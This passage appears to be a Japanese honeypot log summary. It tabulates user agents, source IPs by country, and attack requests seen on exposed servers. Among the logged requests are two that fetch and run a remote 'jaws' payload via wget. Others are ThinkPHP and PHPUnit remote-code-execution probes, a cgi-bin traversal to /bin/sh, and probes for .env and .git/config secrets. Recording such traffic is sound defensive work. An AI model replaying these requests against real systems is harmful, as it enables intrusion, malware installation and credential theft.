| 3 | FooBarTest |
| 1 | Mozilla/5.0 (Linux; Android 10; BLA-L29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36 |
| 1 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 |
| 12 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 YaBrowser/22.3.3.852 Yowser/2.5 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 |
| 15 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 3 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 2 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) |
| 1 | Mozilla/5.0 zgrab/0.x |
| 1 | Mozilla/5.0 |
| 1 | Python/3.6 aiohttp/3.8.3 |
| 1 | facebookexternalhit/1.1 (+http[:]//www[.]facebook[.]com/externalhit_uatext.php) |
| 1 | xfa1 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | Gh0st\xad |
||
| 1 | MGLNDD_132.145.66.34_80\n |
||
| 1 | SSH-2.0-libssh2_1.10.0 |
||
| 1 | \x03 |
||
| 1 | \x16\x03\x01\x01H\x01 |
||
| 1 | \x16\x03\x01\x01\xfc\x01 |
||
| 16 | \x16\x03\x01 |
||
| 15 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /.well-known/security.txt |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
HTTP/1.1 |
| 1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
| 1 | GET | /_profiler/phpinfo |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /actuator/health |
HTTP/1.1 |
| 1 | GET | /admin/assets/js/views/login.js |
HTTP/1.0 |
| 1 | GET | /boaform/admin/formLogin?username=adminisp&psd=adminisp |
HTTP/1.0 |
| 1 | GET | /cdn-cgi/trace |
HTTP/1.1 |
| 1 | GET | /console/ |
HTTP/1.1 |
| 5 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /geoserver/web/ |
HTTP/1.1 |
| 1 | GET | /geoserver |
HTTP/1.1 |
| 1 | GET | /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 |
HTTP/1.1 |
| 4 | GET | /info.php |
HTTP/1.1 |
| 1 | GET | /phpMyAdmin/index.php |
HTTP/1.1 |
| 1 | GET | /pmd/index.php |
HTTP/1.1 |
| 1 | GET | /robots.txt |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ testbots.maizhangyu.top/jaws;sh+/tmp/jaws |
|
| 1 | GET | /sitemap.xml |
HTTP/1.1 |
| 1 | GET | /solr/admin/info/system?wt=json |
HTTP/1.1 |
| 1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 1 | GET | http[:]//dyn[.]epicgifs[.]net/test6956.php |
HTTP/1.1 |
| 3 | GET | http[:]//test[.]getproxylist[.]com/ |
HTTP/1.1 |
| 1 | HEAD | / |
HTTP/1.1 |
| 1 | POST | /Autodiscover/Autodiscover.xml |
HTTP/1.1 |
| 1 | POST | /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh |
HTTP/1.1 |
| 1 | POST | /mgmt/tm/util/bash |
HTTP/1.1 |
| 1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 3 | PRI | * |
HTTP/2.0 |
Location:SG
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 20.98.46.136 | United States |
| 1 | 38.68.52.51 | United States |
| 1 | 43.246.208.12 | Hong Kong |
| 1 | 45.12.253.248 | Bulgaria |
| 1 | 45.33.80.243 | United States |
| 1 | 45.56.108.128 | United States |
| 1 | 45.79.172.21 | United States |
| 1 | 45.79.181.104 | United States |
| 1 | 45.79.181.179 | United States |
| 2 | 45.79.181.223 | United States |
| 3 | 45.140.17.16 | Russia |
| 1 | 46.101.16.74 | United States |
| 9 | 51.79.29.48 | Canada |
| 13 | 54.37.79.75 | France |
| 1 | 60.221.60.72 | China |
| 1 | 66.175.213.4 | United States |
| 1 | 66.240.192.82 | United States |
| 1 | 80.66.88.215 | Russia |
| 11 | 83.97.73.87 | Germany |
| 1 | 92.118.39.83 | Romania |
| 6 | 102.67.224.96 | Ivory Coast |
| 2 | 109.237.97.180 | Russia |
| 2 | 109.237.98.226 | Russia |
| 2 | 162.142.125.13 | United States |
| 1 | 162.243.145.22 | United States |
| 1 | 162.243.147.25 | United States |
| 2 | 167.94.138.52 | United States |
| 1 | 171.22.30.127 | Bulgaria |
| 2 | 172.104.11.4 | United States |
| 1 | 172.104.11.46 | United States |
| 1 | 172.105.128.12 | United States |
| 1 | 184.105.247.194 | United States |
| 1 | 185.180.140.5 | Portugal |
| 1 | 192.155.90.118 | United States |
| 1 | 205.210.31.57 | United States |
| 1 | 205.210.31.131 | United States |
| 4 | 207.90.244.10 | United States |
| 2 | 216.218.206.69 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 29 | - |
| 1 | Go-http-client/1.1 |
| 1 | Hello, world |
| 8 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.46 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
| 11 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 |
| 27 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 2 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 zgrab/0.x |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | MGLNDD_13.67.44.234_80 |
||
| 4 | \x03 |
||
| 2 | \x16\x03\x01\x01H\x01 |
||
| 1 | \x16\x03\x01\x01\xfb\x01 |
||
| 16 | \x16\x03\x01 |
||
| 29 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /.git/config |
HTTP/1.1 |
| 1 | GET | /.well-known/security.txt |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
HTTP/1.1 |
| 1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
| 2 | GET | /_profiler/phpinfo |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /actuator/health |
HTTP/1.1 |
| 1 | GET | /console/ |
HTTP/1.1 |
| 1 | GET | /debug/default/view?panel=config |
HTTP/1.1 |
| 5 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /geoserver/web/ |
HTTP/1.1 |
| 1 | GET | /geoserver |
HTTP/1.1 |
| 1 | GET | /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 |
HTTP/1.1 |
| 1 | GET | /robots.txt |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /showLogin.cc |
HTTP/1.1 |
| 1 | GET | /sitemap.xml |
HTTP/1.1 |
| 1 | GET | /solr/admin/info/system?wt=json |
HTTP/1.1 |
| 1 | GET | /systembc/password.php |
HTTP/1.0 |
| 1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 1 | HEAD | / |
HTTP/1.1 |
| 1 | HEAD | /config.json |
HTTP/1.1 |
| 1 | POST | /Autodiscover/Autodiscover.xml |
HTTP/1.1 |
| 1 | POST | /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh |
HTTP/1.1 |
| 2 | PRI | * |
HTTP/2.0 |
